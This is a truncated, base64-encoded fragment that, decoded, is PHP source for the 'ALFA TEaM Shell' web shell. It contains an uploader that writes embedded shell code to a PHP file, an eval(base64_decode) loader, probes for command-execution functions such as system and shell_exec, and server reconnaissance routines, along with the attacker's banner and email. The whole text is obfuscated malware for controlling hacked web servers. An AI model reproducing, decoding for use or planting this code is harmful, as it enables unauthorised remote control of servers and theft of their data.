1F6QXdJajQ4TDJJK1BHSnlQanhpY2o0bk8zMWxiSE5sZTJWamFHOGdKenhpUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhZMlZ1ZEdWeVBsVndiRzloWkNCbVlXbHNaV1FnT2lnOEwyWnZiblErUEM5aFBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR1F6QXdJajQ4TDJJK1BHSnlQanhpY2o0bk8zMTlaV05vYnlBblBHTmxiblJsY2o0OGMzQmhiaUJ6ZEhsc1pUMGlabTl1ZEMxemFYcGxPak13Y0hnN0lHSmhZMnRuY205MWJtUTZJSFZ5YkNnbWNYVnZkRHRvZEhSd09pOHZjMjlzWlhacGMybGliR1V1WTI5dEwybHRZV2RsY3k5aVoxOWxabVpsWTNSZmRYQXVaMmxtSm5GMWIzUTdLU0J5WlhCbFlYUXRlQ0J6WTNKdmJHd2dNQ1VnTUNVZ2RISmhibk53WVhKbGJuUTdJR052Ykc5eU9pQnlaV1E3SUhSbGVIUXRjMmhoWkc5M09pQTRjSGdnT0hCNElERXpjSGc3SWo0OGMzUnliMjVuUGp4aVBqeGlhV2MrYzI5c1pYWnBjMmxpYkdWQVoyMWhhV3d1WTI5dFBDOWlQand2WW1sblBqd3ZjM1J5YjI1blBqd3ZjM0JoYmo0OEwyTmxiblJsY2o0bk96OCsnOyRhbGZhX3VwbG9hZGVyID0gJyR4ID0gYmFzZTY0X2RlY29kZSgiJy4kR0xPQkFMU1snX19BTEZBX1NIRUxMX0NPREUnXS4nIik7JHNvbGV2aXNpYmxlID0gZm9wZW4oInNvbGV2aXNpYmxlLnBocCIsInciKTtmd3JpdGUoJHNvbGV2aXNpYmxlLCR4KTsnO2RlZmluZSgiQUxGQV9VUExPQURFUiIsICJldmFsKGJhc2U2NF9kZWNvZGUoJyIuX19aVzVqYjJSbGNnKCRhbGZhX3VwbG9hZGVyKS4iJykpIik7ZGVmaW5lKCJBTEZBX1RFTVBESVIiLCAoZnVuY3Rpb25fZXhpc3RzKCJzeXNfZ2V0X3RlbXBfZGlyIikgPyAoQGlzX3dyaXRhYmxlKHN0cl9yZXBsYWNlKCdcXCcsJy8nLHN5c19nZXRfdGVtcF9kaXIoKSkpP3N5c19nZXRfdGVtcF9kaXIoKTooQGlzX3dyaXRhYmxlKCcuJyk/Jy4nOmZhbHNlKSkgOiBmYWxzZSkpO2lmKCFpc3NldCgkX1BPU1RbJ2FqYXgnXSkpe2Z1bmN0aW9uIEFsZmFfR2V0RGlzYWJsZV9GdW5jdGlvbigpeyRkaXNmdW4gPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTskYWZhID0gJzxzcGFuIGNsYXNzPSJoZWFkZXJfc2hvd19hbGwiPkFsbCBGdW5jdGlvbnMgQWNjZXNzaWJsZTwvc3Bhbj4nO2lmKGVtcHR5KCRkaXNmdW4pKXJldHVybigkYWZhKTskcyA9IGV4cGxvZGUoJywnLCRkaXNmdW4pOyRzID0gYXJyYXlfdW5pcXVlKCRzKTskaT0wOyRiPTA7JGZ1bmMgPSBhcnJheSgnc3lzdGVtJywnZXhlYycsJ3NoZWxsX2V4ZWMnLCdwcm9jX29wZW4nLCdwb3BlbicsJ3Bhc3N0aHJ1Jywnc3ltbGluaycsJ2RsJyk7JGJsYWNrX2xpc3QgPSBhcnJheSgpOyRhbGxvd19saXN0ID0gYXJyYXkoKTtmb3JlYWNoKCRzIGFzICRkKXskZD10cmltKCRkKTtpZihlbXB0eSgkZCl8fCFpc19jYWxsYWJsZSgkZCkpY29udGludWU7aWYoIWZ1bmN0aW9uX2V4aXN0cygkZCkpe2lmKGluX2FycmF5KCRkLCRmdW5jKSl7JGRpcyAuPSAkZC4iIHwgIjskYisrOyRibGFja19saXN0W10gPSAkZDt9ZWxzZXskYWxsb3dfbGlzdFtdID0gJGQ7fSRpKys7fX1pZigkaT09MClyZXR1cm4oJGFmYSk7aWYoJGkgPD0gY291bnQoJGZ1bmMpKXskYWxsID0gYXJyYXlfdmFsdWVzKGFycmF5X21lcmdlKCRibGFja19saXN0LCAkYWxsb3dfbGlzdCkpO3JldHVybignPHNwYW4gY2xhc3M9ImRpc2FibGVfZnVuY3Rpb25zIj4nLmltcGxvZGUoIiB8ICIsICRhbGwpLic8L3NwYW4+Jyk7fXJldHVybignPHNwYW4gY2xhc3M9ImRpc2FibGVfZnVuY3Rpb25zIj4nLiRkaXMuJzwvc3Bhbj48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnR2V0RGlzRnVuY1wnLG51bGwsXCd3cFwnKTsiPjxzcGFuIGNsYXNzPSJoZWFkZXJfc2hvd19hbGwiPlNob3cgQWxsICgnLiRpLicpPC9zcGFuPjwvYT4nKTt9aWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKSRfUE9TVFsnY2hhcnNldCddID0gJEdMT0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddOyRmcmVlU3BhY2UgPSBmdW5jdGlvbl9leGlzdHMoJ2Rpc2tmcmVlc3BhY2UnKT9AZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOic/JzskdG90YWxTcGFjZSA9IGZ1bmN0aW9uX2V4aXN0cygnZGlza190b3RhbF9zcGFjZScpP0BkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk6Jz8nOyR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6MTskb249IjxzcGFuIGNsYXNzPSdoZWFkZXJfb24nPiBPTiA8L3NwYW4+Ijskb2Y9IjxzcGFuIGNsYXNzPSdoZWFkZXJfb2ZmJz4gT0ZGIDwvc3Bhbj4iOyRub25lPSI8c3BhbiBjbGFzcz0naGVhZGVyX25vbmUnPiBOT05FIDwvc3Bhbj4iO2lmKGZ1bmN0aW9uX2V4aXN0cygnc3NoMl9jb25uZWN0JykpJHNzaDI9JG9uO2Vsc2UgJHNzaDI9JG9mO2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykpJGN1cmw9JG9uO2Vsc2UgJGN1cmw9JG9mO2lmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpJG15c3FsPSRvbjtlbHNlICRteXNxbD0kb2Y7aWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpJG1zc3FsPSRvbjtlbHNlICRtc3NxbD0kb2Y7aWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpJHBnPSRvbjtlbHNlICRwZz0kb2Y7aWYoZnVuY3Rpb25fZXhpc3RzKCdvY2lfY29ubmVjdCcpKSRvcj0kb247ZWxzZSAkb3I9JG9mO2lmKEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSRkaXNmdW49QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7ZWxzZSAkZGlzZnVuPSJBbGwgRnVuY3Rpb25zIEVuYWJsZSI7aWYoQGluaV9nZXQoJ3NhZmVfbW9kZScpKSRzYWZlX21vZGVzPSI8c3BhbiBjbGFzcz0naGVhZGVyX29mZic+T048L3NwYW4+IjtlbHNlICRzYWZlX21vZGVzPSI8c3BhbiBjbGFzcz0naGVhZGVyX29uJz5PRkY8L3NwYW4+IjskY2dpX3NoZWxsPSI8c3BhbiBjbGFzcz0naGVhZGVyX29mZicgaWQ9J2hlYWRlcl9jZ2lzaGVsbCc+T0ZGPC9zcGFuPiI7aWYoQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKXskYmFzZWRpcl9kYXRhID0gQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpO2lmKHN0cmxlbigkYmFzZWRpcl9kYXRhKT4xMjApeyRvcGVuX2I9c3Vic3RyKCRiYXNlZGlyX2RhdGEsMCwgMTIwKS4iLi4uIjt9ZWxzZXskb3Blbl9iID0gJGJhc2VkaXJfZGF0YTt9fWVsc2V7JG9wZW5fYj0kbm9uZTt9aWYoQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKSRzYWZlX2V4ZT1AaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJyk7ZWxzZSAkc2FmZV9leGU9JG5vbmU7aWYoQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKSRzYWZlX2luY2x1ZGU9QGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpO2Vsc2UgJHNhZmVfaW5jbHVkZT0kbm9uZTtpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpeyR1c2VyID0gZnVuY3Rpb25fZXhpc3RzKCJnZXRfY3VycmVudF91c2VyIik/QGdldF9jdXJyZW50X3VzZXIoKToiPz8/PyI7JHVpZCA9IGZ1bmN0aW9uX2V4aXN0cygiZ2V0bXl1aWQiKT9AZ2V0bXl1aWQoKToiPz8/PyI7JGdpZCA9IGZ1bmN0aW9uX2V4aXN0cygiZ2V0bXlnaWQiKT9AZ2V0bXlnaWQoKToiPz8/PyI7JGdyb3VwID0gIj8iO31lbHNleyR1aWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikmJmZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZXVpZCIpP0Bwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpOmFycmF5KCJuYW1lIj0+Ij8/Pz8iLCAidWlkIj0+Ij8/Pz8iKTskZ2lkID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpJiZmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGVnaWQiKT9AcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTphcnJheSgibmFtZSI9PiI/Pz8/IiwgImdpZCI9PiI/Pz8/Iik7JHVzZXIgPSAkdWlkWyduYW1lJ107JHVpZCA9ICR1aWRbJ3VpZCddOyRncm91cCA9ICRnaWRbJ25hbWUnXTskZ2lkID0gJGdpZFsnZ2lkJ107fSRjd2RfbGlua3MgPSAnJzskcGF0aCA9IGV4cGxvZGUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOyRuPWNvdW50KCRwYXRoKTtmb3IoJGk9MDsgJGk8JG4tMTsgJGkrKykgeyRjd2RfbGlua3MgLj0gIjxhIGNsYXNzPSdoZWFkZXJfcHdkJyBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7Zm9yKCRqPTA7ICRqPD0kaTsgJGorKykkY3dkX2xpbmtzIC49ICRwYXRoWyRqXS4nLyc7JGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iO30kZHJpdmVzID0gIiI7Zm9yZWFjaChyYW5nZSgnYScsJ3onKSBhcyAkZHJpdmUpaWYoQGlzX2RpcigkZHJpdmUuJzpcXCcpKSRkcml2ZXMgLj0gJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIGNsYXNzPSJoZWFkZXJfZHJpdmUiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5bICcuJGRyaXZlLicgXTwvYT4gJzskY3NzY29kZSA9JwktbW96LWFuaW1hdGlvbi1uYW1lOiBzcGluOy1tb3otYW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogaW5maW5pdGU7LW1vei1hbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOiBsaW5lYXI7LW1vei1hbmltYXRpb24tZHVyYXRpb246IDFzOy13ZWJraXQtYW5pbWF0aW9uLW5hbWU6IHNwaW47LXdlYmtpdC1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiBpbmZpbml0ZTstd2Via2l0LWFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGxpbmVhcjstd2Via2l0LWFuaW1hdGlvbi1kdXJhdGlvbjogMXM7LW1zLWFuaW1hdGlvbi1uYW1lOiBzcGluOy1tcy1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiBpbmZpbml0ZTstbXMtYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogbGluZWFyOy1tcy1hbmltYXRpb24tZHVyYXRpb246IDFzO2FuaW1hdGlvbi1uYW1lOiBzcGluO2FuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IGluZmluaXRlO2FuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGxpbmVhcjthbmltYXRpb24tZHVyYXRpb246IDFzOyc7ZWNobyAnPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz48bWV0YSBuYW1lPSJST0JPVFMiIGNvbnRlbnQ9Ik5PSU5ERVgsIE5PRk9MTE9XIiAvPjxsaW5rIGhyZWY9IicuX19zaG93aWNvbignYWxmYW1pbmknKS4nIiByZWw9Imljb24iIHR5cGU9ImltYWdlL3gtaWNvbiIvPjx0aXRsZT4uLjo6ICcuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLicgfiBBTEZBIFRFYU0gU2hlbGwgLSB2Jy5fX0FMRkFfVkVSU0lPTl9fLicgOjouLjwvdGl0bGU+PGxpbmsgaHJlZj0iaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUZyYW5jb2lzK09uZSIgcmVsPSJzdHlsZXNoZWV0Ij48c3R5bGUgdHlwZT0idGV4dC9jc3MiPi5obGFiYWxle2NvbG9yOiM2N0FCREY7Ym9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCO21hcmdpbi1sZWZ0OjdweDtwYWRkaW5nOjJweH0jdGJsX3N5bXBwaHAgdHJ7dGV4dC1hbGlnbjpjZW50ZXJ9LmVkaXRvci12aWV3e3Bvc2l0aW9uOnJlbGF0aXZlfS52aWV3LWNvbnRlbnR7cG9zaXRpb246YWJzb2x1dGU7b3ZlcmZsb3cteTphdXRvO3dpZHRoOjEwMCU7aGVpZ2h0OjQ3NXB4fTo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2t7LXdlYmtpdC1ib3gtc2hhZG93Omluc2V0IDAgMCA2cHggcmdiYSgwLDAsMCwwLjMpO2JvcmRlci1yYWRpdXM6MTBweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAxMTV9Ojotd2Via2l0LXNjcm9sbGJhcnt3aWR0aDoxMHB4O2JhY2tncm91bmQtY29sb3I6IzAwMDExNX06Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1ie2JvcmRlci1yYWRpdXM6MTBweDstd2Via2l0LWJveC1zaGFkb3c6aW5zZXQgMCAwIDZweCByZ2JhKDAsMCwwLC4zKTtiYWNrZ3JvdW5kLWNvbG9yOiMxZTgyYjV9LmVkaXRvci1maWxlLW5hbWV7bWFyZ2luLWxlZnQ6MjlweDttYXJnaW4tdG9wOjRweDtvdmVyZmxvdzpoaWRkZW47dGV4dC1vdmVyZmxvdzplbGxpcHNpczt3aGl0ZS1zcGFjZTpub3dyYXB9LmVkaXRvci1pY29ue3Bvc2l0aW9uOmFic29sdXRlfS5pc19hY3RpdmV7YmFja2dyb3VuZDpyZ2JhKDQ5LDU1LDkzLDAuNzcpO2JvcmRlci1yYWRpdXM6MTBweH0uaGlzdG9yeS1saXN0e2hlaWdodDo4OCU7b3ZlcmZsb3cteTphdXRvfSNlZGl0b3ItbWluaW1pemVkLCNjZ2lsb2FkZXItbWluaW1pemVke2Rpc3BsYXk6YmxvY2s7cG9zaXRpb246Zml4ZWQ7cmlnaHQ6LTMwcHg7d2lkdGg6MzBweDtoZWlnaHQ6MzBweDt0b3A6MzAlfS5taW5pbWl6ZWQtd3JhcHBlcntwb3NpdGlvbjpyZWxhdGl2ZTtiYWNrZ3JvdW5kOiMwZTMwNGE7d2lkdGg6NDRweDtoZWlnaHQ6MTY3cHg7Y3Vyc29yOnBvaW50ZXI7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czo1cHg7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czo1cHh9Lm1pbmltaXplZC10ZXh0e3RyYW5zZm9ybTpyb3RhdGUoLTkwZGVnKTtjb2xvcjojZjVkZWIzO2ZvbnQtc2l6ZTp4LWxhcmdlO2Rpc3BsYXk6aW5saW5lLWJsb2NrO3Bvc2l0aW9uOmFic29sdXRlO3JpZ2h0Oi01MXB4O3dpZHRoOjEyOXB4O3RvcDo1MHB4O2JvcmRlci10b3AtbGVmdC1yYWRpdXM6NCU7aGVpZ2h0OjU2cHg7cGFkZGluZzozcHh9LmNsb3NlLWJ1dHRvbiwuZWRpdG9yLW1pbmltaXple2hlaWdodDoyNnB4O3dpZHRoOjM4cHg7cmlnaHQ6N3B4O2JhY2tncm91bmQ6IzFkNTY3MztjdXJzb3I6cG9pbnRlcjtwb3NpdGlvbjphYnNvbHV0ZTtib3gtc2l6aW5nOmJvcmRlci1ib3g7bGluZS1oZWlnaHQ6NTBweDtkaXNwbGF5OmlubGluZS1ibG9jazt0b3A6MTdweDtib3JkZXItcmFkaXVzOjEwMHB4fS5lZGl0b3ItbWluaW1pemV7cmlnaHQ6NTBweH0uY2xvc2UtYnV0dG9uOmJlZm9yZSwuY2xvc2UtYnV0dG9uOmFmdGVyLC5lZGl0b3ItbWluaW1pemU6YmVmb3Jle3RyYW5zZm9ybTpyb3RhdGUoLTQ1ZGVnKTtjb250ZW50OiIiO3Bvc2l0aW9uOmFic29sdXRlO3RvcDo2MyU7cmlnaHQ6NnB4O21hcmdpbi10b3A6LTVweDttYXJnaW4tbGVmdDotMjVweDtkaXNwbGF5OmJsb2NrO2hlaWdodDo0cHg7d2lkdGg6MjdweDtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMjE2LDIwNywyMDcsMC43NSk7dHJhbnNpdGlvbjphbGwgLjI1cyBlYXNlLW91dH0uZWRpdG9yLW1pbmltaXplOmJlZm9yZXt0cmFuc2Zvcm06cm90YXRlKDBkZWcpfS5jbG9zZS1idXR0b246YWZ0ZXJ7dHJhbnNmb3JtOnJvdGF0ZSgtMTM1ZGVnKX0uY2xvc2UtYnV0dG9uOmhvdmVyOmJlZm9yZSwuY2xvc2UtYnV0dG9uOmhvdmVyOmFmdGVyLC5lZGl0b3ItbWluaW1pemU6aG92ZXI6YmVmb3Jle2JhY2tncm91bmQtY29sb3I6cmVkfS5jbG9zZS1idXR0b246aG92ZXIsLmVkaXRvci1taW5pbWl6ZTpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMzksNjYsODAsMC45Nil9I2VkaXRvciwjY2dpbG9hZGVye2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpmaXhlZDt0b3A6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlfS5lZGl0b3Itd3JhcHBlcnt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO3Bvc2l0aW9uOnJlbGF0aXZlO3RvcDoxJX0uZWRpdG9yLWhlYWRlcnt3aWR0aDo5NyU7YmFja2dyb3VuZDpyZ2JhKDIxLDY2LDg4LDAuOTMpO2hlaWdodDozN3B4O21hcmdpbi1sZWZ0OjEzcHg7cG9zaXRpb246cmVsYXRpdmU7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czoxNXB4O2JvcmRlci10b3AtcmlnaHQtcmFkaXVzOjE1cHh9LmVkaXRvci1wYXRoe3Bvc2l0aW9uOmFic29sdXRlO2ZvbnQtc2l6ZTp4LWxhcmdlO21hcmdpbi1sZWZ0OjEwcHg7dG9wOjZweDtjb2xvcjojMDBmZjdmfS5lZGl0b3ItbW9kYWx7cG9zaXRpb246cmVsYXRpdmU7dG9wOjA7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMSwyMywwLjk1KTtoZWlnaHQ6OTAlO21hcmdpbi1sZWZ0OjIwJTttYXJnaW4tcmlnaHQ6MiU7Ym9yZGVyOjJweCAjMGUzMDRhIHNvbGlkfS5lZGl0b3ItZXhwbG9yZXJ7d2lkdGg6MTklO2hlaWdodDo5MCU7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMSwyMywwLjk0KTtwb3NpdGlvbjphYnNvbHV0ZTt6LWluZGV4OjI7bGVmdDoxJTtib3JkZXI6MnB4ICMwZTMwNGEgc29saWR9LmVkaXRvci1jb250cm9sbGVye3Bvc2l0aW9uOnJlbGF0aXZlO3RvcDotMTNweH0uZmlsZS1ob2xkZXJ7cG9zaXRpb246cmVsYXRpdmU7d2lkdGg6MTAwJTtoZWlnaHQ6MzBweH0uZmlsZS1ob2xkZXIgPiAuaGlzdG9yeXtwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjojMDNiM2EzO2N1cnNvcjpwb2ludGVyO2xlZnQ6NXB4O2ZvbnQtc2l6ZToxOHB4O2ZvbnQtZmFtaWx5OnNhbnMtc2VyaWY7d2lkdGg6ODklO2hlaWdodDoxMDAlO3otaW5kZXg6Mztib3JkZXItcmFkaXVzOjEwcHg7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kLWNvbG9yIDYwMG1zIGVhc2Utb3V0fS5maWxlLWhvbGRlciA+IC5oaXN0b3J5LWNsb3Nle2Rpc3BsYXk6YmxvY2s7b3BhY2l0eTowO3Bvc2l0aW9uOmFic29sdXRlO3JpZ2h0OjJweDt3aWR0aDoyMHB4O3RvcDo0cHg7dGV4dC1hbGlnbjpjZW50ZXI7Y3Vyc29yOnBvaW50ZXI7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kOnJlZDtib3JkZXItcmFkaXVzOjEwMHB4O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTt6LWluZGV4OjEwO3RyYW5zaXRpb246b3BhY2l0eSA2MDBtcyBlYXNlLW91dDtmb250LXNpemU6MTVweDtoZWlnaHQ6MTlweH0uZmlsZS1ob2xkZXIgPiAuaGlzdG9yeTpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM2NDY0NjR9LmVkaXRvci1leHBsb3JlciA+IC5oaGVhZGVye3Bvc2l0aW9uOnJlbGF0aXZlO2NvbG9yOiMxNGZmMDc7Ym9yZGVyLWJvdHRvbToycHggIzIwNmFhMiBzb2xpZDt0ZXh0LWFsaWduOmNlbnRlcjtmb250LWZhbWlseTpzYW5zLXNlcmlmO21hcmdpbi1ib3R0b206MTBweDtoZWlnaHQ6NTVweH0uZWRpdG9yLXNlYXJjaHtwb3NpdGlvbjphYnNvbHV0ZTtib3R0b206N3B4O2xlZnQ6MzFweH0uaGhlYWRlci10ZXh0e3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6OHB4O3RvcDoycHh9Lmhpc3RvcnktY2xlYXJ7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6OHB4O3RvcDoycHg7Y3Vyc29yOnBvaW50ZXJ9LmVkaXRvci1ib2R5e3Bvc2l0aW9uOnJlbGF0aXZlO21hcmdpbi1sZWZ0OjNweH0uZWRpdG9yLWFuaW0tY2xvc2V7Jy5zaG93QW5pbWF0aW9uKCJlZGl0b3JDbG9zZSIpLid9QGtleWZyYW1lcyBlZGl0b3JDbG9zZXswJXt0cmFuc2Zvcm06c2NhbGUoMSk7b3BhY2l0eToxfTEwMCV7dHJhbnNmb3JtOnNjYWxlKDApO29wYWNpdHk6MH19LmVkaXRvci1hbmltLW1pbmltaXpleycuc2hvd0FuaW1hdGlvbigiZWRpdG9yTWluaW1pemUiKS4nfUBrZXlmcmFtZXMgZWRpdG9yTWluaW1pemV7MCV7cmlnaHQ6MDtvcGFjaXR5OjF9MTAwJXtyaWdodDotMjAwMHB4O29wYWNpdHk6MH19LmVkaXRvci1hbmltLXNob3d7Jy5zaG93QW5pbWF0aW9uKCJlZGl0b3JTaG93IikuJ31Aa2V5ZnJhbWVzIGVkaXRvclNob3d7MCV7cmlnaHQ6LTIwMDBweDtvcGFjaXR5OjB9MTAwJXtyaWdodDowO29wYWNpdHk6MX19Lm1pbmltaXplZC1zaG93eycuc2hvd0FuaW1hdGlvbigibWluaW1pemVTaG93IikuJ31Aa2V5ZnJhbWVzIG1pbmltaXplU2hvd3swJXtyaWdodDotMzBweDtvcGFjaXR5OjB9MTAwJXtyaWdodDowO29wYWNpdHk6MX19Lm1pbmltaXplZC1oaWRleycuc2hvd0FuaW1hdGlvbigibWluaW1pemVIaWRlIikuJ31Aa2V5ZnJhbWVzIG1pbmltaXplSGlkZXswJXtyaWdodDowO29wYWNpdHk6MX0xMDAle3JpZ2h0Oi0zMHB4O29wYWNpdHk6MH19LnNvbGV2aXNpYmxlLXRleHQ6aG92ZXJ7LXdlYmtpdC10ZXh0LXNoYWRvdzowIDAgMjVweCAjMEYwOy1tb3otdGV4dC1zaGFkb3c6MCAwIDI1cHggIzBGMDstbXMtdGV4dC1zaGFkb3c6MCAwIDI1cHggIzBGMDt0ZXh0LXNoYWRvdzowIDAgMjVweCAjMEYwfS51cGRhdGUtaG9sZGVye3Bvc2l0aW9uOmZpeGVkO3RvcDowO2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDI0LDI5LDAuNzIpO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCV9LnVwZGF0ZS1wYXJ0bmVye3dpZHRoOjUwJTtwb3NpdGlvbjpyZWxhdGl2ZTtib3JkZXItcmFkaXVzOjMxcHg7aGVpZ2h0OjIwMHB4O2JhY2tncm91bmQtY29sb3I6cmdiYSgzLDMsNDEsMC40Nyk7dGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6cmdiYSgyNTIsMjUzLDI1MSwwLjg4KTttYXJnaW4tbGVmdDoyNSU7dG9wOjIzJTtmb250LWZhbWlseToiRnJhbmNvaXMgT25lIixzYW5zLXNlcmlmfS51cGRhdGUtcGFydG5lcjpob3Zlcnstd2Via2l0LWJveC1zaGFkb3c6aW5zZXQgMCAwIDk5cHggOXB4IHJnYmEoMTEsMTUsNDEsMSk7LW1vei1ib3gtc2hhZG93Omluc2V0IDAgMCA5OXB4IDlweCByZ2JhKDExLDE1LDQxLDEpO2JveC1zaGFkb3c6aW5zZXQgMCAwIDk5cHggOXB4IHJnYmEoMTEsMTUsNDEsMSl9LnVwZGF0ZS1jb250ZW50e3Bvc2l0aW9uOnJlbGF0aXZlfS51cGRhdGUtY29udGVudCA+IGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7cG9zaXRpb246YWJzb2x1dGU7Y29sb3I6cmdiYSgxMDMsMTY3LDQ3LDAuNzcpO2xlZnQ6MjQlO21hcmdpbi10b3A6NyU7Zm9udC1zaXplOjQwcHg7Zm9udC1mYW1pbHk6IkZyYW5jb2lzIE9uZSIsc2Fucy1zZXJpZn0udXBkYXRlLWNsb3Nle3Bvc2l0aW9uOmFic29sdXRlO3JpZ2h0OjA7bWFyZ2luLXJpZ2h0OjIzcHg7dG9wOjEwcHg7Zm9udC1zaXplOjI3cHg7YmFja2dyb3VuZC1jb2xvcjojMTMwZjUwO3dpZHRoOjUlO2JvcmRlci1yYWRpdXM6MTAwcHg7Y3Vyc29yOnBvaW50ZXI7Ym9yZGVyOjJweCAjMGUyNjVhIHNvbGlkfS51cGRhdGUtY2xvc2U6aG92ZXJ7Ym9yZGVyOjJweCAjMjVmZjAwIHNvbGlkO2NvbG9yOnJlZH0uZmlsZXN0b29sc3toZWlnaHQ6YXV0bzt3aWR0aDphdXRvO2NvbG9yOiM2N0FCREY7Zm9udC1zaXplOjEycHg7Zm9udC1mYW1pbHk6VmVyZGFuYSxHZW5ldmEsc2Fucy1zZXJpZn1ALW1vei1kb2N1bWVudCB1cmwtcHJlZml4KCl7I3NlYXJjaC1pbnB1dHt3aWR0aDoxNzNweDt9LmVkaXRvci1wYXRoe3RvcDozcHg7fX1Aa2V5ZnJhbWVzIHNwaW4ge2Zyb20ge3RyYW5zZm9ybTogcm90YXRlKDBkZWcpO310b3t0cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO319QC13ZWJraXQta2V5ZnJhbWVzIHNwaW4ge2Zyb20gey13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRvIHstd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX1ALW1vei1rZXlmcmFtZXMgc3BpbiB7ZnJvbSB7LW1vei10cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTt9dG8gey1tb3otdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTt9fUAtbXMta2V5ZnJhbWVzIHNwaW4ge2Zyb20gey1tcy10cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTt9dG8gey1tcy10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO319I2FsZmFsb2FkZXJ7Jy4kY3NzY29kZS4nd2lkdGg6MTAwcHg7aGVpZ2h0OjEwMHB4O30jYV9sb2FkZXJ7Jy4kY3NzY29kZS4nd2lkdGg6MTUwcHg7aGVpZ2h0OjE1MHB4O3Bvc2l0aW9uOmZpeGVkO3otaW5kZXg6OTk5OTk5O3RvcDogNDIlO2xlZnQ6ID